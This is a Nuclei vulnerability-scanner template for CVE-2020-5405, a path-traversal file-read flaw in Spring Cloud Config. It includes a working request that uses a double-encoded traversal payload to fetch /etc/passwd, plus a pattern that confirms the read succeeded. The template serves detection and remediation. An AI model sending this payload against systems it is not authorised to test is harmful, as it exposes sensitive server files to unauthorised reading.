nuclei-templates/http/cves/2020/CVE-2020-5405.yaml

44 lines
1.7 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-5405
info:
name: Spring Cloud Config - Local File Inclusion
2021-06-09 12:20:56 +00:00
author: harshbothra_
severity: medium
description: Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module.
2023-09-27 15:51:13 +00:00
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade to a patched version of Spring Cloud Config or apply the recommended security patches to mitigate the vulnerability.
reference:
- https://pivotal.io/security/cve-2020-5405
- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2020-5405
2023-07-12 11:56:50 +00:00
cwe-id: CWE-22,CWE-23
epss-score: 0.00258
epss-percentile: 0.63514
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: vmware
product: spring_cloud_config
2024-01-14 09:21:50 +00:00
tags: cve2020,cve,lfi,springcloud,vmware
http:
- method: GET
path:
- '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
2023-07-11 19:49:27 +00:00
2020-07-06 17:10:05 +00:00
matchers-condition: and
matchers:
2020-07-06 17:10:05 +00:00
- type: regex
2023-07-11 19:49:27 +00:00
part: body
2020-07-06 17:10:05 +00:00
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100c4edd9f33ad748dd3aec22920347e164a4e5f3834ada3ac67dad898896782f8b022014ab28256b9568dd2e0073648d22c1a9a48dda5471c38950436cc3eb6d5a9dab:922c64590222798bb761d5b6d8e72950